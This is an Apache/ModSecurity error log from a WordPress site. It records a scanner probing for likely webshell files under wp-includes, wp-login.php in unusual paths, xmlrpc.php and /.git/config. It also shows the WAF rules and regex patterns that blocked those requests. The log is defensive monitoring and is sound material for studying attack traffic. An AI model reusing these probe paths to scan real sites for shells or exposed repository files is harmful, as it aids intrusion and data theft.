[Sun Nov 23 08:42:34.599238 2025] [:error] [pid 38824:tid 38829] [client 141.11.36.72:32743] [client 141.11.36.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.72, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/wp-login.php"] [unique_id "aSJYek8WZjXLvbHTHPcHoQAAAMI"]
[Sun Nov 23 08:42:37.839976 2025] [:error] [pid 38824:tid 38842] [client 141.11.36.72:32743] [client 141.11.36.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/file.php"] [unique_id "aSJYfU8WZjXLvbHTHPcHpwAAAM8"]
[Sun Nov 23 08:42:41.378512 2025] [:error] [pid 38824:tid 38849] [client 141.11.36.77:59883] [client 141.11.36.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/xBrain.php"] [unique_id "aSJYgU8WZjXLvbHTHPcHrQAAANY"]
[Sun Nov 23 08:42:43.306526 2025] [:error] [pid 38824:tid 38827] [client 141.11.36.79:26979] [client 141.11.36.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aSJYg08WZjXLvbHTHPcHrgAAAMA"]
[Sun Nov 23 08:42:44.630857 2025] [:error] [pid 44652:tid 44723] [client 141.11.36.74:50621] [client 141.11.36.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aSJYhNiQFwsyXQDhwyAJCAAAARE"]
[Sun Nov 23 08:42:48.637137 2025] [proxy_fcgi:error] [pid 38739:tid 38777] [client 141.11.36.74:23839] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 08:42:49.498995 2025] [:error] [pid 38739:tid 38788] [client 141.11.36.74:23839] [client 141.11.36.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/widgets/about.php"] [unique_id "aSJYiQdvEgJm2n2cDmpdWQAAAFM"]
[Sun Nov 23 08:42:51.017745 2025] [proxy_fcgi:error] [pid 38738:tid 38746] [client 141.11.36.100:42389] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 08:42:57.017831 2025] [:error] [pid 38738:tid 38756] [client 141.11.36.100:42389] [client 141.11.36.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/radio.php"] [unique_id "aSJYkQytc6TL9XavPmMUaQAAAA4"]
[Sun Nov 23 08:43:05.992242 2025] [:error] [pid 44652:tid 44712] [client 141.11.36.86:53183] [client 141.11.36.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php"] [unique_id "aSJYmdiQFwsyXQDhwyAJIwAAAQY"]
[Sun Nov 23 08:43:15.089167 2025] [:error] [pid 38824:tid 38840] [client 141.11.36.88:26107] [client 141.11.36.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aSJYo08WZjXLvbHTHPcH7wAAAM0"]
[Sun Nov 23 08:43:17.388135 2025] [:error] [pid 38739:tid 38770] [client 141.11.36.80:26473] [client 141.11.36.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/fonts/index.php"] [unique_id "aSJYpQdvEgJm2n2cDmpdogAAAEE"]
[Sun Nov 23 08:43:22.547344 2025] [:error] [pid 44652:tid 44728] [client 141.11.36.61:64919] [client 141.11.36.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/compat3x/css/index.php"] [unique_id "aSJYqtiQFwsyXQDhwyAJSwAAARY"]
[Sun Nov 23 08:43:23.462782 2025] [:error] [pid 38740:tid 38815] [client 141.11.36.84:62331] [client 141.11.36.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aSJYqw13QPZSi6O8umXYuQAAAJM"]
[Sun Nov 23 08:43:25.248998 2025] [:error] [pid 38739:tid 38771] [client 141.11.36.101:32361] [client 141.11.36.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/about.php"] [unique_id "aSJYrQdvEgJm2n2cDmpdxgAAAEI"]
[Sun Nov 23 08:43:41.445179 2025] [proxy_fcgi:error] [pid 38739:tid 38777] [client 141.11.36.79:36355] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 08:43:42.791775 2025] [:error] [pid 38739:tid 38787] [client 141.11.36.79:36355] [client 141.11.36.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aSJYvgdvEgJm2n2cDmpeDQAAAFI"]
[Sun Nov 23 08:43:49.304259 2025] [:error] [pid 38739:tid 38769] [client 141.11.36.90:41095] [client 141.11.36.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/css.php"] [unique_id "aSJYxQdvEgJm2n2cDmpeKAAAAEA"]
[Sun Nov 23 08:43:57.626751 2025] [:error] [pid 38738:tid 38743] [client 141.11.36.94:48525] [client 141.11.36.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wso112233.php"] [unique_id "aSJYzQytc6TL9XavPmMU4AAAAAE"]
[Sun Nov 23 08:43:58.531055 2025] [:error] [pid 38739:tid 38793] [client 141.11.36.90:60579] [client 141.11.36.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/shell20211028.php"] [unique_id "aSJYzgdvEgJm2n2cDmpePwAAAFg"]
[Sun Nov 23 08:44:00.416270 2025] [:error] [pid 38738:tid 38762] [client 141.11.36.64:32655] [client 141.11.36.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/dropdown.php"] [unique_id "aSJY0Aytc6TL9XavPmMU5QAAABQ"]
[Sun Nov 23 08:44:03.200716 2025] [:error] [pid 38739:tid 38789] [client 141.11.36.88:63403] [client 141.11.36.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/repeater.php"] [unique_id "aSJY0wdvEgJm2n2cDmpeRAAAAFQ"]
[Sun Nov 23 08:44:10.484813 2025] [:error] [pid 38824:tid 38835] [client 141.11.36.84:42603] [client 141.11.36.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/test.php"] [unique_id "aSJY2k8WZjXLvbHTHPcIagAAAMg"]
[Sun Nov 23 08:44:11.360315 2025] [:error] [pid 38740:tid 38812] [client 141.11.36.106:65241] [client 141.11.36.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "aSJY2w13QPZSi6O8umXY7QAAAJA"]
[Sun Nov 23 08:44:13.744880 2025] [:error] [pid 38740:tid 38816] [client 141.11.36.74:57983] [client 141.11.36.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/options.php"] [unique_id "aSJY3Q13QPZSi6O8umXY8QAAAJQ"]
[Sun Nov 23 08:44:16.700375 2025] [:error] [pid 38739:tid 38779] [client 141.11.36.78:56147] [client 141.11.36.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/gzdecode.php"] [unique_id "aSJY4AdvEgJm2n2cDmpeWwAAAEo"]
[Sun Nov 23 08:44:17.562725 2025] [:error] [pid 38739:tid 38786] [client 141.11.36.70:22057] [client 141.11.36.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-includes/atomlib.php"] [unique_id "aSJY4QdvEgJm2n2cDmpeXQAAAFE"]
[Sun Nov 23 08:44:19.430196 2025] [:error] [pid 38824:tid 38827] [client 141.11.36.94:22051] [client 141.11.36.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.94, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/images/wp-login.php"] [unique_id "aSJY408WZjXLvbHTHPcIdQAAAMA"]
[Sun Nov 23 08:44:21.900733 2025] [:error] [pid 38824:tid 38842] [client 141.11.36.94:22051] [client 141.11.36.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/plupload/wp-login.php"] [unique_id "aSJY5U8WZjXLvbHTHPcIegAAAM8"]
[Sun Nov 23 08:44:26.194629 2025] [:error] [pid 38739:tid 38778] [client 141.11.36.79:49303] [client 141.11.36.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/themes.php"] [unique_id "aSJY6gdvEgJm2n2cDmpecAAAAEk"]
[Sun Nov 23 08:44:27.063740 2025] [:error] [pid 38739:tid 38773] [client 141.11.36.66:46105] [client 141.11.36.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/site-title/index.php"] [unique_id "aSJY6wdvEgJm2n2cDmpecwAAAEQ"]
[Sun Nov 23 08:44:27.970639 2025] [proxy_fcgi:error] [pid 38739:tid 38771] [client 141.11.36.85:37321] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 08:44:28.438800 2025] [:error] [pid 38739:tid 38792] [client 141.11.36.85:37321] [client 141.11.36.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.85, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/wp-login.php"] [unique_id "aSJY7AdvEgJm2n2cDmpeeQAAAFc"]
[Sun Nov 23 08:44:29.978782 2025] [:error] [pid 38739:tid 38780] [client 141.11.36.85:37321] [client 141.11.36.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-includes/admin-bar.php"] [unique_id "aSJY7QdvEgJm2n2cDmpefgAAAEs"]
[Sun Nov 23 08:44:32.888122 2025] [:error] [pid 38740:tid 38810] [client 141.11.36.66:41235] [client 141.11.36.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/plugins.php"] [unique_id "aSJY8A13QPZSi6O8umXZDQAAAI4"]
[Sun Nov 23 08:45:01.027370 2025] [:error] [pid 44652:tid 44727] [client 141.11.36.95:27437] [client 141.11.36.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.95, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aSJZDdiQFwsyXQDhwyAKAwAAARU"]
[Sun Nov 23 08:45:06.207745 2025] [:error] [pid 44652:tid 44708] [client 141.11.36.95:27437] [client 141.11.36.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.95, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/wp-login.php"] [unique_id "aSJZEtiQFwsyXQDhwyAKCQAAAQI"]
[Sun Nov 23 08:45:07.628656 2025] [:error] [pid 44652:tid 44713] [client 141.11.36.95:27437] [client 141.11.36.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/plugins.php"] [unique_id "aSJZE9iQFwsyXQDhwyAKEQAAAQc"]
[Sun Nov 23 08:45:08.828168 2025] [:error] [pid 38824:tid 38842] [client 141.11.36.70:42735] [client 141.11.36.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/wp-login.php"] [unique_id "aSJZFE8WZjXLvbHTHPcItAAAAM8"]
[Sun Nov 23 08:45:11.564840 2025] [:error] [pid 38740:tid 38809] [client 141.11.36.89:62723] [client 141.11.36.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/install.php"] [unique_id "aSJZFw13QPZSi6O8umXZRAAAAI0"]
[Sun Nov 23 08:45:20.374764 2025] [:error] [pid 38738:tid 38761] [client 141.11.36.93:46111] [client 141.11.36.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.93, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/modules/karakaroa/wp-login.php"] [unique_id "aSJZIAytc6TL9XavPmMVewAAABM"]
[Sun Nov 23 08:45:20.828370 2025] [:error] [pid 38738:tid 38760] [client 141.11.36.93:46111] [client 141.11.36.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSJZIAytc6TL9XavPmMVfAAAABI"]
[Sun Nov 23 08:45:24.159970 2025] [:error] [pid 44652:tid 44709] [client 141.11.36.90:44547] [client 141.11.36.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.90, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aSJZJNiQFwsyXQDhwyAKJgAAAQM"]
[Sun Nov 23 08:45:32.919855 2025] [:error] [pid 44652:tid 44728] [client 141.11.36.90:44547] [client 141.11.36.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/editor/fxp.php"] [unique_id "aSJZLNiQFwsyXQDhwyAKPwAAARY"]
[Sun Nov 23 08:45:42.653325 2025] [:error] [pid 44652:tid 44713] [client 141.11.36.105:20549] [client 141.11.36.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aSJZNtiQFwsyXQDhwyAKUQAAAQc"]
[Sun Nov 23 08:45:51.484218 2025] [:error] [pid 44652:tid 44711] [client 141.11.36.87:63509] [client 141.11.36.87] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.11.36.87, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aSJZP9iQFwsyXQDhwyAKaQAAAQU"]
[Sun Nov 23 08:45:58.023848 2025] [autoindex:error] [pid 44652:tid 44722] [client 141.11.36.87:63509] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Nov 23 08:49:23.815411 2025] [authz_core:error] [pid 38738:tid 38765] [client 141.11.36.64:37907] AH01630: client denied by server configuration: /home/measureyourbrand/public_html/system/
[Sun Nov 23 10:46:17.004746 2025] [:error] [pid 38738:tid 38750] [client 139.59.67.8:63698] [client 139.59.67.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.67.8, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aSJ1eQytc6TL9XavPmM_fwAAAAg"]
[Sun Nov 23 10:46:17.555128 2025] [:error] [pid 38824:tid 38846] [client 139.59.67.8:53524] [client 139.59.67.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.67.8, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aSJ1eU8WZjXLvbHTHPcskwAAANM"]
[Sun Nov 23 14:44:07.631835 2025] [:error] [pid 38740:tid 38814] [client 122.176.106.134:64467] [client 122.176.106.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.176.106.134, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aSKtNw13QPZSi6O8umVD9AAAAJI"]
[Sun Nov 23 15:01:17.142501 2025] [:error] [pid 44652:tid 44722] [client 182.44.9.147:38368] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSKxPdiQFwsyXQDhwyBsrwAAARA"]
[Sun Nov 23 15:45:17.554811 2025] [:error] [pid 38739:tid 38782] [client 104.248.164.207:50468] [client 104.248.164.207] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.164.207, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aSK7jQdvEgJm2n2cDmrtQQAAAE0"]
[Sun Nov 23 15:45:18.595186 2025] [:error] [pid 38738:tid 38752] [client 104.248.164.207:50725] [client 104.248.164.207] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.164.207, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aSK7jgytc6TL9XavPmOzkAAAAAo"]
[Sun Nov 23 15:46:14.164956 2025] [:error] [pid 38738:tid 38757] [client 176.65.132.18:40118] [client 176.65.132.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aSK7xgytc6TL9XavPmOz6AAAAA8"]
[Sun Nov 23 16:40:41.732860 2025] [:error] [pid 14602:tid 14633] [client 140.99.1.37:62095] [client 140.99.1.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/images/upload.php"] [unique_id "aSLIiR-I77jdD81pU-mMqQAAAUw"]
